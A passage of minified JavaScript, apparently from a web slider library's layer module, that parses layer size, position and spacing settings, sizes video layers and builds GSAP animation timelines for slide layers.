p.dim=p.dim.split(";"),p.dim)if(p.dim.hasOwnProperty(t))switch((i=p.dim[t].split(":"))[0]){case"w":p.width=i[1];break;case"h":p.height=i[1];break;case"maxw":p.maxwidth=i[1];break;case"maxh":p.maxheight=i[1];break;case"minw":p.minwidth=i[1];break;case"minh":p.minheight=i[1]}if(void 0!==p.xy&&"row"!==p.type&&"column"!==p.type)for(t in p.xy=p.xy.split(";"),p.xy)if(p.xy.hasOwnProperty(t))switch((i=p.xy[t].split(":"))[0]){case"x":p.x=i[1].replace("px","");break;case"y":p.y=i[1].replace("px","");break;case"xo":p.hoffset=i[1].replace("px","");break;case"yo":p.voffset=i[1].replace("px","")}if(p._isnotext||void 0===p.text)if(p._isgroup&&void 0!==p.text){for(t in p.text=p.text.split(";"),p.text)if(p.text.hasOwnProperty(t))switch((i=p.text[t].split(":"))[0]){case"a":p.textalign=i[1]}}else"column"===p.type&&void 0!==p.textDecoration&&delete p.textDecoration;else for(t in p.text=p.text.split(";"),p.text)if(p.text.hasOwnProperty(t))switch((i=p.text[t].split(":"))[0]){case"w":p.whitespace=i[1];break;case"td":p.textDecoration=i[1];break;case"c":p.clear=i[1];break;case"f":p.float=i[1];break;case"s":p.fontsize=i[1];break;case"l":p.lineheight=i[1];break;case"ls":p.letterspacing=i[1];break;case"fw":p.fontweight=i[1];break;case"a":p.textalign=i[1]}if(void 0!==p.flcr)for(t in p.flcr=p.flcr.split(";"),p.flcr)if(p.flcr.hasOwnProperty(t))switch((i=p.flcr[t].split(":"))[0]){case"c":p.clear=i[1];break;case"f":p.float=i[1]}if(void 0!==p.padding)for(t in p.padding=p.padding.split(";"),p.padding)if(p.padding.hasOwnProperty(t))switch((i=p.padding[t].split(":"))[0]){case"t":p.paddingtop=i[1];break;case"b":p.paddingbottom=i[1];break;case"l":p.paddingleft=i[1];break;case"r":p.paddingright=i[1]}if(void 0!==p.margin)for(t in p.margin=p.margin.split(";"),p.margin)if(p.margin.hasOwnProperty(t))switch((i=p.margin[t].split(":"))[0]){case"t":p.margintop=i[1];break;case"b":p.marginbottom=i[1];break;case"l":p.marginleft=i[1];break;case"r":p.marginright=i[1]}if(void 0!==p.spike&&(p.spike=G(p.spike)),void 0!==p.corners)for(t in a=p.corners.split(";"),p.corners={},a)a.hasOwnProperty(t)&&a[t].length>0&&(p.corners[a[t]]=jQuery("<"+a[t]+">"),p.c.append(p.corners[a[t]]));p.textalign=y(p.textalign),p.vbility=o.revToResp(p.vbility,o[r].rle,!0),p.hoffset=o.revToResp(p.hoffset,o[r].rle,0),p.voffset=o.revToResp(p.voffset,o[r].rle,0),p.x=o.revToResp(p.x,o[r].rle,"l"),p.y=o.revToResp(p.y,o[r].rle,"t"),C(d,0,r),o.sA(l,"initialised",!0),o[r].c.trigger("layerinitialised",{layer:d[0].id,slider:r})}var h=p.x[o[r].level],m=p.y[o[r].level],v=o.getGridOffset(r,e.slideIndex,p.basealign,p._isstatic),w=v[0],b=v[1],_=v[2],S=v[3];if(p.slideIndex=e.slideIndex,"updateposition"!==e.mode){if(0==p.vbility[o[r].levelForced]||"f"==p.vbility[o[r].levelForced]||wL&&x<=1||x1?{width:"100%",height:"auto",left:"c"===h||"center"===h?"50%":"left"===h||"l"===h?"0":"auto",right:"r"===h||"right"===h?"0":"auto",top:"c"===m||"center"===m||"middle"===m||"m"===m?"50%":"top"===m||"t"===m?"0":"auto",bottom:"b"===m||"bottom"===m?"0":"auto",x:"c"===h||"center"===h||"middle"===h||"m"===h?"-50%":"0",y:"c"===m||"center"===m||"middle"===m||"m"===m?"-50%":"0"}:{height:"100%",width:"auto",left:"c"===h||"center"===h?"50%":"left"===h||"l"===h?"0":"auto",right:"r"===h||"right"===h?"0":"auto",top:"c"===m||"center"===m||"middle"===m||"m"===m?"50%":"top"===m||"t"===m?"0":"auto",bottom:"b"===m||"bottom"===m?"0":"auto",x:"c"===h||"center"===h||"middle"===h||"m"===h?"-50%":"0",y:"c"===m||"center"===m||"middle"===m||"m"===m?"-50%":"0"}}else void 0===p.group&&"auto"===p.width[o[r].level]&&"auto"===p.height[o[r].level]&&(p.width[o[r].level]=o.gA(p.img[0],"owidth",p.img[0].width),p.height[o[r].level]=o.gA(p.img[0],"owidth",p.img[0].height)),p.imgOBJ={width:"auto"!==p.width[o[r].level]||isNaN(p.width[o[r].level])&&p.width[o[r].level].indexOf("%")>=0?"100%":"auto",height:"auto"!==p.height[o[r].level]||isNaN(p.height[o[r].level])&&p.height[o[r].level].indexOf("%")>=0?"100%":"auto"};else if("video"===p.layertype){o.manageVideoLayer(d,r,s),"rebuild"!==e.mode&&o.resetVideo(d,r,e.mode),null!=p.aspectratio&&p.aspectratio.split(":").length>1&&1==p.bgvideo&&o.prepareCoveredVideo(r,d),p.media=void 0===p.media?p.deepiframe.length>0?jQuery(p.deepiframe[0]):jQuery(p.deepmedia[0]):p.media,p.html5vid=void 0===p.html5vid?!(p.deepiframe.length>0):p.html5vid,p.mediaOBJ={display:"block"};var O=p.width[o[r].level],R=p.height[o[r].level];if(O="auto"===O?O:!o.isNumeric(O)&&O.indexOf("%")>0?p._incolumn||p._ingroup?"100%":"grid"===p.basealign?o.iWA(r,e.slideIndex)*o[r].CM.w:w:"off"!==p.rsp_bd?parseFloat(O)*o[r].CM.w+"px":parseFloat(O)+"px",R="auto"===R?R:!o.isNumeric(R)&&R.indexOf("%")>0?"grid"===p.basealign?o.iHE(r)*o[r].CM.w:b:"off"!==p.rsp_bd?parseFloat(R)*o[r].CM.h+"px":parseFloat(R)+"px",p.vd=void 0===p.vd?o[r].videos[d[0].id].ratio.split(":").length>1?o[r].videos[d[0].id].ratio.split(":")[0]/o[r].videos[d[0].id].ratio.split(":")[1]:1:p.vd,!p._incolumn||"100%"!==O&&"auto"!==R||void 0===p.ytid)-1==d[0].className.indexOf("rs-fsv")?(R="auto"===R&&void 0!==p.vd&&"auto"!==O?"100%"===O?d.width()/p.vd:O/p.vd:R,p.vidOBJ={width:O,height:R}):("grid"!==p.basealign&&(_=0,S=0),p.x=o.revToResp(0,o[r].rle,0),p.y=o.revToResp(0,o[r].rle,0),p.vidOBJ={width:O,height:o[r].autoHeight?o[r].canv.height:R}),0!=p.html5vid&&d.hasClass("rs-fsv")||(p.mediaOBJ={width:O,height:R,display:"block"}),p._ingroup&&null!==p.vidOBJ.width&&void 0!==p.vidOBJ.width&&!o.isNumeric(p.vidOBJ.width)&&p.vidOBJ.width.indexOf("%")>0&&(p.OBJUPD.lppmOBJ={minWidth:O});else{var I=d.width(),M="auto"===R?I/p.vd:R;p.vidOBJ={width:"auto",height:M},p.heightSetByVideo=!0}}p._slidelink||o[r].caches.calcResponsiveLayersList.push({a:d,b:r,c:0,d:p.rsp_bd,e:e.slideIndex}),"on"===p.rsp_ch&&"row"!==p.type&&"column"!==p.type&&"group"!==p.type&&"image"!==p.type&&"video"!==p.type&&"shape"!==p.type&&d.find("*").each(function(){var t=jQuery(this);"true"!==o.gA(this,"stylerecorder")&&!0!==o.gA(this,"stylerecorder")&&C(t,"rekursive",r),o[r].caches.calcResponsiveLayersList.push({a:t,b:r,c:"rekursive",d:p.rsp_bd,e:e.slideIndex,RSL:d})})}if("preset"!==e.mode){if(p.oldeow=p.eow,p.oldeoh=p.eoh,p.eow=d.outerWidth(!0),p.eoh=d.outerHeight(!0),0==p.eoh&&"group"==p.type&&"auto"==p.height[o[r].level]&&(p.eoh=p.p[0].offsetHeight),void 0!==p.metas&&void 0!==p.metas.csi&&p.metas.csi.change!==o[r].focusedSlideIndex){p.metas.csi.change=o[r].focusedSlideIndex;g=parseInt(p.metas.csi.change)+1;p.metas.csi.c.innerHTML=(o[r].realslideamount>9&&g<10?"0":"")+g}if(p.imgInFirefox="image"==p.type&&"auto"==p.width[o[r].level]&&"100%"==p.height[o[r].level]&&o.isFirefox(r),p.imgInFirefox){var T=p.img.width();p.eow=0!==T?T:p.eow}if(p.eow<=0&&void 0!==p.lastknownwidth&&(p.eow=p.lastknownwidth),p.eoh<=0&&void 0!==p.lastknownheight&&(p.eoh=p.lastknownheight),void 0!==p.corners&&("text"===p.type||"button"===p.type||"shape"===p.type)){for(a in p.corners)if(p.corners.hasOwnProperty(a)){p.corners[a].css("borderWidth",p.eoh+"px");var A="rs-fcrt"===a||"rs-fcr"===a;p.corners[a].css("border"+(A?"Right":"Left"),"0px solid transparent"),p.corners[a].css("border"+("rs-fcrt"==a||"rs-bcr"==a?"Bottom":"Top")+"Color",p.bgcol)}p.eow=d.outerWidth(!0)}0==p.eow&&0==p.eoh&&(p.eow="grid"===p.basealign?o[r].content.width:o[r].module.width,p.eoh="grid"===p.basealign?o[r].content.height:o[r].module.height),p.basealign=o[r].justifyCarousel?"grid":p.basealign;var D="on"===p.rsp_o?parseInt(p.voffset[o[r].level],0)*o[r].CM.w:parseInt(p.voffset[o[r].level],0),P="on"===p.rsp_o?parseInt(p.hoffset[o[r].level],0)*o[r].CM.h:parseInt(p.hoffset[o[r].level],0),B="grid"===p.basealign?o.iWA(r,e.slideIndex)*o[r].CM.w:w,F="grid"===p.basealign||"carousel"==o[r].sliderType&&"v"===o[r].carousel.orientation?o.iHE(r)*(o[r].keepBPHeight||o[r].currentRowsHeight>o[r].gridheight[o[r].level]?1:o[r].CM.h):b;(1==o[r].gridEQModule||void 0!==p._lig&&"row"!==p.type&&"column"!==p.type&&("group"!==p.type||p._ingroup||p._incolumn))&&(B=void 0!==p._lig?p._lig.width():o[r].module.width,F=void 0!==p._lig?p._lig.height():o[r].module.height,_=0,S=0),o[r].keepBPHeight&&F==o[r].module.height&&(S=0),"video"===p.type&&null!=p.vidOBJ&&(p.vidOBJ.height>=0&&0===p.eoh&&(p.eoh=p.vidOBJ.height),p.vidOBJ.width>=0&&0===p.eow&&(p.eow=p.vidOBJ.width)),h="relative"==p.position?0:"c"===h||"m"===h||"center"===h||"middle"===h?B/2-p.eow/2+P:"l"===h||"left"===h?P:"r"===h||"right"===h?B-p.eow-P:"off"!==p.rsp_o?h*o[r].CM.w:h,m="relative"==p.position?0:"m"===m||"c"===m||"center"===m||"middle"===m?F/2-p.eoh/2+D:"t"===m||"top"==m?D:"b"===m||"bottom"==m?F-p.eoh-D:"off"!==p.rsp_o?m*o[r].CM.w:m,h=p._slidelink?0:o[r].rtl&&-1==(""+p.width[o[r].level]).indexOf("%")?parseInt(h)+p.eow:h,p.calcx="relative"!=p.position||"group"!==p.type&&!p._incolumn?parseInt(h,0)+_:0,p.calcy="relative"!=p.position||"group"!==p.type&&!p._incolumn?parseInt(m,0)+S:0,"row"!==p.type&&"column"!==p.type?p.OBJUPD.POBJ={zIndex:p.zindex,top:p.calcy,left:p.calcx,overwrite:"auto"}:"row"!==p.type?p.OBJUPD.POBJ={zIndex:p.zindex,width:p.columnwidth,top:0,left:0,overwrite:"auto"}:"row"===p.type&&(p.OBJUPD.POBJ={zIndex:p.zindex,width:"grid"===p.basealign?B+"px":"100%",top:0,left:o[r].rtl?-1*_:_,overwrite:"auto"},p.cbreak<=o[r].level?-1===d[0].className.indexOf("rev_break_columns")&&d[0].classList.add("rev_break_columns"):d[0].className.indexOf("rev_break_columns")>0&&d[0].classList.remove("rev_break_columns"),p.rowcalcx=p.OBJUPD.POBJ.left,p.pow=p.p.outerWidth(!0)),void 0!==p.blendmode&&(p.OBJUPD.POBJ.mixBlendMode="color"===p.blendmode&&window.isSafari11?"color-burn":p.blendmode),(void 0!==p.frames.loop||p.imgInFirefox)&&(p.OBJUPD.LPOBJ={width:p.eow,height:p.eoh}),p._ingroup&&(void 0!==p._groupw&&!o.isNumeric(p._groupw)&&p._groupw.indexOf("%")>0&&(p.OBJUPD.lppmOBJ.minWidth=p._groupw),void 0!==p._grouph&&!o.isNumeric(p._grouph)&&p._grouph.indexOf("%")>0&&(p.OBJUPD.lppmOBJ.minHeight=p._grouph)),"updateposition"===e.mode&&(p.caches.POBJ_LEFT===p.OBJUPD.POBJ.left&&p.caches.POBJ_TOP===p.OBJUPD.POBJ.top||(tpGS.gsap.set(p.p,p.OBJUPD.POBJ),p.caches.POBJ_LEFT=p.OBJUPD.POBJ.left,p.caches.POBJ_TOP=p.OBJUPD.POBJ.top)),e.animcompleted&&o.animcompleted(d,r)}}},hoverReverseDone:function(e){o[e.id]._L[e.L[0].id].textDecoration&&tpGS.gsap.set(o[e.id]._L[e.L[0].id].c,{textDecoration:o[e.id]._L[e.L[0].id].textDecoration})},animcompleted:function(e,t,i){if(void 0!==o[t].videos){var a=o[t].videos[e[0].id];null!=a&&null!=a.type&&"none"!=a.type&&(1==a.aplay||"true"==a.aplay||"on"==a.aplay||"1sttime"==a.aplay?(("static"===a.slideid||"carousel"!==o[t].sliderType||e.closest("rs-slide").index()==o[t].carousel.focused||e.closest("rs-slide").index()==o[t].activeRSSlide&&o[t].carousel.oldfocused==o[t].carousel.focused||i)&&o.playVideo(e,t),o.toggleState(e.data("videotoggledby")),(a.aplay1||"1sttime"==a.aplay)&&(a.aplay1=!1,a.aplay=!1)):("no1sttime"==a.aplay&&(a.aplay=!0),o.unToggleState(e.data("videotoggledby"))))}},convertHoverTransform:function(e,t,i){var a,r=o.clone(e.transform);if((r.originX||r.originY||r.originZ)&&(r.transformOrigin=(void 0===r.originX?"50%":r.originX)+" "+(void 0===r.originY?"50%":r.originY)+" "+(void 0===r.originZ?"50%":r.originZ),delete r.originX,delete r.originY,delete r.originZ),void 0!==e&&void 0!==e.filter&&(r.filter=u(e.filter),r["-webkit-filter"]=r.filter),r.color=void 0===r.color?"rgba(255,255,255,1)":r.color,r.force3D="auto",void 0!==r.borderRadius&&((a=r.borderRadius.split(" ")).length,r.borderTopLeftRadius=a[0],r.borderTopRightRadius=a[1],r.borderBottomRightRadius=a[2],r.borderBottomLeftRadius=a[3],delete r.borderRadius),void 0!==r.borderWidth&&((a=r.borderWidth.split(" ")).length,r.borderTopWidth=a[0],r.borderRightWidth=a[1],r.borderBottomWidth=a[2],r.borderLeftWidth=a[3],delete r.borderWidth),void 0===i.bg||-1===i.bg.indexOf("url")){var s=-1!==i.bgCol.search("gradient"),n=r.backgroundImage&&"string"==typeof r.backgroundImage&&-1!==r.backgroundImage.search("gradient");n&&s?(180!==v(i.bgCol)&&180==v(r.backgroundImage)&&(r.backgroundImage=m(r.backgroundImage,180)),r.backgroundImage=tpGS.getSSGColors(i.bgCol,r.backgroundImage,void 0===r.gs?"fading":r.gs).to):n&&!s?r.backgroundImage=tpGS.getSSGColors(i.bgCol,r.backgroundImage,void 0===r.gs?"fading":r.gs).to:!n&&s&&(r.backgroundImage=tpGS.getSSGColors(i.bgCol,r.backgroundColor,void 0===r.gs?"fading":r.gs).to)}return delete r.gs,r},handleStaticLayers:function(e,t){var i=0,a=o[t].realslideamount+1;if(void 0!==o.gA(e[0],"onslides")){var r=o.gA(e[0],"onslides").split(";");for(var s in r)if(r.hasOwnProperty(s)){var n=r[s].split(":");"s"===n[0]&&(i=parseInt(n[1],0)),"e"===n[0]&&(a=parseInt(n[1],0))}}i=Math.max(0,i),a=Math.min(o[t].realslideamount,a<0?o[t].realslideamount:a),a=1!==i&&0!==i||a!==o[t].realslideamount?a:o[t].realslideamount+1,e.data("startslide",i),e.data("endslide",a),o.sA(e[0],"startslide",i),o.sA(e[0],"endslide",a)},updateLayersOnFullStage:function(e){if(o[e].caches.calcResponsiveLayersList.length>0){!0!==o[e].slideHasIframe&&!0!==o[e].fullScreenMode&&!0!==o[e].skipAttachDetach&&("carousel"===o[e].sliderType?o[e].carousel.wrap.detach():o[e].canvas.detach());for(var t=0;t0&&e.index>=0&&o[e.id].rowzones[Math.min(e.index,o[e.id].rowzones.length)]&&o[e.id].rowzones[Math.min(e.index,o[e.id].rowzones.length)].length>0||void 0!==o[e.id].srowzones&&o[e.id].srowzones.length>0||void 0!==o[e.id].smiddleZones&&o[e.id].smiddleZones.length>0)&&(o.updateDims(e.id),o.initLayer({id:e.id,skey:e.key,slideIndex:e.slide,mode:"updateposition"}),o.initLayer({id:e.id,skey:"static",slideIndex:"static",mode:"updateposition"}),"start"!==e.mode&&"preset"!==e.mode||o.manageNavigation(e.id),window.requestAnimationFrame(function(){o.putRowsInPosition(e.id)}))},updateLayerDimensions:function(e){var t=!1;o[e.id].caches.calcResponsiveLayersList=[],void 0===e.key||"individual"!=e.key&&void 0===o[e.id].layers[e.key]||!o.checkLayerDimensions({id:e.id,skey:e.key,slideIndex:e.slide})||(t=!0),o.initLayer({id:e.id,skey:e.key,slideIndex:e.slide,mode:"updateAndResize"}),o[e.id].layers.static&&o.checkLayerDimensions({id:e.id,skey:"static",slideIndex:"static"})&&(t=!0,o.initLayer({id:e.id,skey:"static",slideIndex:"static",mode:"updateAndResize"})),t&&o.updateLayersOnFullStage(e.id)},updateAnimatingLayerPositions:function(e){o.initLayer({id:e.id,skey:e.key,slideIndex:e.slide,mode:"updateposition"})},removeTheLayers:function(e,t,i){var a=o.gA(e[0],"key");for(var r in o[t].sloops&&o[t].sloops[a]&&o[t].sloops[a].tl&&o[t].sloops[a].tl.pause(),o[t].layers[a])o[t].layers[a].hasOwnProperty(r)&&o.renderLayerAnimation({layer:jQuery(o[t].layers[a][r]),frame:"frame_999",mode:"continue",remove:!0,id:t,allforce:i});for(var r in o[t].layers.static)o[t].layers.static.hasOwnProperty(r)&&o.renderLayerAnimation({layer:jQuery(o[t].layers.static[r]),frame:"frame_999",mode:"continue",remove:!0,id:t,allforce:i})},renderLayerAnimation:function(e){var i,a=e.layer,r=e.id,u=o[r].level,h=o[r]._L[a[0].id],m=void 0!==h.timeline?h.timeline.time():void 0,v=!1,f=!1,y="none",_=!1;if(("containerResized_2"!==e.caller&&"swapSlideProgress_2"!==e.caller||!0===h.animationRendered)&&(h.animationRendered=!0,"preset"!==e.mode||!0===h.frames.frame_1.timeline.waitoncall||void 0!==h.scrollBasedOffset)){if("trigger"==e.mode&&(h.triggeredFrame=e.frame),h._isstatic){var x="carousel"===o[r].sliderType&&void 0!==o[r].carousel.oldfocused?parseInt(o[r].carousel.oldfocused)+1:void 0===o[r].focusedSlideIndex?0:parseInt(o[r].focusedSlideIndex,0)+1,k="carousel"===o[r].sliderType?void 0===o[r].pr_next_key?0==x?1:x:parseInt(o[r].pr_next_key,0)+1:void 0===o[r].pr_processing_key?0==x?1:x:parseInt(o[r].pr_processing_key,0)+1,L=x>=h.startslide&&x<=h.endslide,O=k>=h.startslide&&k<=h.endslide,R=void 0!==h.frames.frame_999&&void 0!==h.frames.frame_999.timeline&&!0!==h.frames.frame_999.timeline.waitoncall&&x===h.endslide;if(void 0===o[r].modal||"start"!=e.mode&&"continue"!=e.mode||("continue"===e.mode&&"close"==o[r].modal.lastModalCall&&(O=!1),"start"!==e.mode||"show"!==o[r].modal.lastModalCall&&"init"!==o[r].modal.lastModalCall||o[r].modal.lastModalCall===h.lastModalCall||(h.triggeredFrame=void 0,h.triggercache="reset",void 0!==h.timeline&&void 0!==h.timeline.currentLabel()&&-1==h.timeline.currentLabel().indexOf("frame_999")&&h.timeline.pause(0)),h.lastModalCall=o[r].modal.lastModalCall),y=!("start"!==e.mode||!R)||(x===h.endslide&&"continue"===e.mode||("continue"===e.mode||x===h.endslide)&&"none"),"frame_999"===h.animatedFrame&&"done"===h.animatingFrame|null==h.animatingFrame&&(h.lastRequestedMainFrame="frame_999"),void 0!==h.timeline&&void 0!==h.timeline.currentLabel()&&-1==h.timeline.currentLabel().indexOf("frame_999")&&(_=!0),!0===e.allforce||!0===y){if("continue"===e.mode&&O&&R&&void 0!==h.timeline)return void(h.timeline.currentLabel().indexOf("frame_999")>=0?h.timeline.pause(h.timeline.previousLabel()):h.timeline.pause(h.timeline.currentLabel()));if("continue"===e.mode&&"frame_999"===e.frame&&(O||void 0===h.lastRequestedMainFrame))return}else{if("preset"===e.mode&&(h.elementHovered||!O))return;if("rebuild"===e.mode&&!L&&!O)return;if("start"===e.mode&&O&&"frame_1"===h.lastRequestedMainFrame)return;if(("start"===e.mode||"preset"===e.mode)&&"frame_999"===h.lastRequestedMainFrame&&!0!==h.leftstage)return;if("continue"===e.mode&&"frame_999"===e.frame&&(O||void 0===h.lastRequestedMainFrame))return;if("start"===e.mode&&!O)return;if("rebuild"===e.mode&&h.elementHovered&&h._isstatic&&h.hovertimeline)return}}else"start"===e.mode&&"keep"!==h.triggercache&&(h.triggeredFrame=void 0);for(var I in"start"===e.mode&&(void 0!==h.layerLoop&&(h.layerLoop.count=0),e.frame=void 0===h.triggeredFrame?_?void 0:0:h.triggeredFrame),"continue"===e.mode||"trigger"===e.mode||void 0===h.timeline||h._isstatic&&!0===h.leftstage||h.timeline.pause(0),"continue"!==e.mode&&"trigger"!==e.mode||void 0===h.timeline||h.timeline.pause(),h.timeline=tpGS.gsap.timeline({paused:!0}),"text"!==h.type&&"button"!==h.type||void 0!==h.splitText&&(void 0!==h.splitTextFix||"start"!==e.mode&&"preset"!==e.mode)||(w({layer:a,id:r}),"start"===e.mode&&(h.splitTextFix=!0)),h.ford)if(h.ford.hasOwnProperty(I)){var M=h.ford[I],T=!1;if("frame_0"!==M&&"frame_hover"!==M&&"loop"!==M){if("frame_999"===M&&!h.frames[M].timeline.waitoncall&&h.frames[M].timeline.start>=o[r].duration&&!0!==e.remove&&(h.frames[M].timeline.waitoncall=!0),"start"===e.mode&&"keep"!==h.triggercache&&(h.frames[M].timeline.callstate=h.frames[M].timeline.waitoncall?"waiting":""),"trigger"===e.mode&&h.frames[M].timeline.waitoncall&&(M===e.frame?(h.frames[M].timeline.triggered=!0,h.frames[M].timeline.callstate="called"):h.frames[M].timeline.triggered=!1),"rebuild"===e.mode||h.frames[M].timeline.triggered||(h.frames[M].timeline.callstate=h.frames[M].timeline.waitoncall?"waiting":""),!1!==e.fastforward){if(("continue"===e.mode||"trigger"===e.mode)&&!1===f&&M!==e.frame)continue;if(("rebuild"===e.mode||"preset"===e.mode)&&!1===f&&void 0!==h.triggeredFrame&&M!==h.triggeredFrame)continue;(M===e.frame||"rebuild"===e.mode&&M===h.triggeredFrame)&&(f=!0)}else M===e.frame&&(f=!0);if(M!==e.frame&&h.frames[M].timeline.waitoncall&&"called"!==h.frames[M].timeline.callstate&&(v=!0),M!==e.frame&&f&&(v=!0===v&&h.frames[M].timeline.waitoncall?"skiprest":!0!==v&&v),void 0===h.hideonfirststart&&"frame_1"===M&&h.frames[M].timeline.waitoncall&&(h.hideonfirststart=!0),v&&"waiting"===h.frames[M].timeline.callstate&&"preset"===e.mode&&1!=h.firstTimeRendered){if(h._isstatic&&void 0===h.currentframe)continue;T=!0,h.firstTimeRendered=!0}else if("skiprest"===v||"called"!==h.frames[M].timeline.callstate&&v&&e.toframe!==M)continue;if("frame_999"!==M||!1!==y||"continue"!==e.mode&&"start"!==e.mode&&"rebuild"!==e.mode){h.fff="frame_1"===M&&("trigger"!==e.mode||"frame_999"===h.currentframe||"frame_0"===h.currentframe||void 0===h.currentframe),"trigger"===e.mode&&"frame_1"===e.frame&&!1===h.leftstage&&(h.fff=!1),T||(h.frames[M].timeline.callstate="called",h.currentframe=M);var C=h.frames[M],A=h.fff?h.frames.frame_0:void 0,D=tpGS.gsap.timeline(),P=tpGS.gsap.timeline(),B=h.c,G=void 0!==C.sfx&&b(C.sfx.effect,h.m,C.timeline.ease),F=C.timeline.speed/1e3,H=0,z=S({id:r,frame:C,layer:a,ease:C.timeline.ease,splitAmount:B.length,target:M,forcefilter:void 0!==h.frames.frame_hover&&void 0!==h.frames.frame_hover.filter}),W=h.fff?S({id:r,frame:A,layer:a,ease:C.timeline.ease,splitAmount:B.length,target:"frame_0"}):void 0,E=void 0!==C.mask?S({id:r,frame:{transform:{x:C.mask.x,y:C.mask.y}},layer:a,ease:z.ease,target:"mask"}):void 0,N=void 0!==E&&h.fff?S({id:r,frame:{transform:{x:A.mask.x,y:A.mask.y}},layer:a,ease:z.ease,target:"frommask"}):void 0,j=z.ease;if(z.force3D=!0,"block"===G.type){if(G.ft[0].background=C.sfx.fxc,G.ft[0].visibility="visible",G.ft[1].visibility="visible",window.isSafari11){let e=Math.max(W&&W.z?W.z:0,z&&z.z?z.z:0);G.ft[0].z=Math.max(0,e+1),G.ft[1].z=Math.max(0,e+1),G.t.z=Math.max(0,e+1),G.ft[1].transformPerspective=G.ft[0].transformPerspective=G.t.transformPerspective=z.transformPerspective}D.add(tpGS.gsap.fromTo(G.bmask_in,F/2,G.ft[0],G.ft[1],0)),D.add(tpGS.gsap.fromTo(G.bmask_in,F/2,G.ft[1],G.t,F/2)),"frame_0"!==M&&"frame_1"!==M||(W.opacity=0)}if(void 0!==C.color?z.color=C.color:void 0!==h.color&&"npc"!==h.color[u]&&(z.color=h.color[u]),void 0!==A&&void 0!==A.color?W.color=A.color:void 0!==A&&void 0!==h.color&&"npc"!==h.color[u]&&(W.color=h.color[u]),void 0!==C.bgcolor?C.bgcolor.indexOf("gradient")>=0?z.background=C.bgcolor:z.backgroundColor=C.bgcolor:!0===h.bgcolinuse&&(h.bgcol.indexOf("gradient")>=0?z.background=h.bgcol:z.backgroundColor=h.bgcol),void 0!==A&&(void 0!==A.bgcolor?A.bgcolor.indexOf("gradient")>=0?W.background=A.bgcolor:W.backgroundColor=A.bgcolor:!0===h.bgcolinuse&&(h.bgcol.indexOf("gradient")>=0?W.background=h.bgcol:W.backgroundColor=h.bgcol)),void 0!==h.splitText&&!1!==h.splitText)for(var V in t)if(void 0!==C[t[V]]&&!h.quickRendering){var X=h.splitText[t[V]],U=S({id:r,frame:C,source:t[V],ease:j,layer:a,splitAmount:X.length,target:M+"_"+t[V]}),Y=h.fff?S({id:r,frame:A,ease:U.ease,source:t[V],layer:a,splitAmount:X.length,target:"frame_0_"+t[V]}):void 0,q=h.frames[M].dosplit?void 0===C[t[V]].delay?.05:C[t[V]].delay/100:0;h.color[u]===z.color&&"frame_1"===M||(U.color=z.color),void 0!==W&&h.color[u]!==W.color&&(Y.color=W.color),void 0!==Y&&Y.color!==z.color&&(U.color=z.color);var Q=o.clone(U),J=h.fff?o.clone(Y):void 0,Z=C[t[V]].dir;delete Q.dir,Q.data={splitted:!0},Q.stagger="center"===Z||"edge"===Z?d({each:q,offset:q/2,from:Z}):{each:q,from:Z},Q.duration=F,void 0!==J&&(void 0!==J.opacity&&(o.ISM||window.isSafari11)&&(J.opacity=Math.max(.001,parseFloat(J.opacity))),delete J.dir),h.fff?D.add(P.fromTo(X,J,Q),0):D.add(P.to(X,Q),0),H=Math.max(H,X.length*q)}if(F+=H,void 0===i&&(i="isometric"===o[r].perspectiveType?0:"local"===o[r].perspectiveType?void 0!==z.transformPerspective?z.transformPerspective:h.fff&&void 0!==W.transfromPerspective?W.transfromPerspective:o[r].perspective:o[r].perspective),h.knowTransformPerspective=i,h.fsom&&(void 0!==z.filter||h.fff&&void 0!==W.filter)?(E.filter=z.filter,E["-webkit-filter"]=z.filter,delete z.filter,delete z["-webkit-filter"],h.fff&&void 0!==W.filter&&((N=N||{}).filter=W.filter,N["-webkit-filter"]=W.filter,delete W.filter,delete W["-webkit-filter"]),h.forceFsom=!0):h.forceFsom=!1,h.useMaskAnimation=h.pxundermask||void 0!==E&&(void 0!==A&&"hidden"===A.mask.overflow||"hidden"===C.mask.overflow),h.useMaskAnimation||h.forceFsom)h.useMaskAnimation?D.add(tpGS.gsap.to(h.m,.001,{overflow:"hidden"}),0):D.add(tpGS.gsap.to(h.m,.001,{overflow:"visible"}),0),"column"===h.type&&h.cbgexists&&h.useMaskAnimation&&D.add(tpGS.gsap.to(h.cbgmask,.001,{overflow:"hidden"}),0),h.btrans&&(N&&(N.rotationX=h.btrans.rX,N.rotationY=h.btrans.rY,N.rotationZ=h.btrans.rZ,N.opacity=h.btrans.o),E.rotationX=h.btrans.rX,E.rotationY=h.btrans.rY,E.rotationZ=h.btrans.rZ,E.opacity=h.btrans.o),h.fff?D.add(tpGS.gsap.fromTo(void 0!==h.m&&void 0!==h.cbgmask?[h.m,h.cbgmask]:void 0!==h.m?h.m:h.cbgmask,F,o.clone(N),o.clone(E)),.001):D.add(tpGS.gsap.to(void 0!==h.m&&void 0!==h.cbgmask?[h.m,h.cbgmask]:void 0!==h.m?h.m:h.cbgmask,F,o.clone(E)),.001);else if(void 0!==h.btrans){var K={x:0,y:0,filter:"none",opacity:h.btrans.o,rotationX:h.btrans.rX,rotationY:h.btrans.rY,rotationZ:h.btrans.rZ,overflow:"visible"};0===h.btrans.rX&&0==h.btrans.rY||(h.maskHasPerspective=!0,K.transformPerspective=i),D.add(tpGS.gsap.to(h.m,.001,K),0)}else D.add(tpGS.gsap.to(h.m,.001,{clearProps:"transform",overflow:"hidden"==h.ofHidOnHov?"hidden":"visible"}),0);z.force3D="auto",h.fff?(z.visibility="visible",void 0!==h.cbg&&D.fromTo(h.cbg,F,W,z,0),o[r].BUG_safari_clipPath&&(W.clipPath||z.clipPath||h.spike),F=F>0?F-.001:F,void 0!==h.cbg&&"column"===h.type?D.fromTo(B,F,s(W),s(z),0):D.fromTo(B,F,W,z,0),D.invalidate()):("frame_999"!==h.frame&&(z.visibility="visible"),void 0!==h.cbg&&D.to(h.cbg,F,z,0),void 0!==h.cbg&&"column"===h.type?D.to(B,F,s(z),0):D.to(B,F,z,0)),void 0!==j&&"object"!=typeof j&&"function"!=typeof j&&j.indexOf("SFXBounce")>=0&&D.to(B,F,{scaleY:.5,scaleX:1.3,ease:z.ease+"-squash",transformOrigin:"bottom"},1e-4);var $="trigger"!==e.mode&&(!0!==v&&"skiprest"!==v||"rebuild"!==e.mode)||e.frame===M||void 0===C.timeline.start||!o.isNumeric(C.timeline.start)?"+=0"===C.timeline.start||void 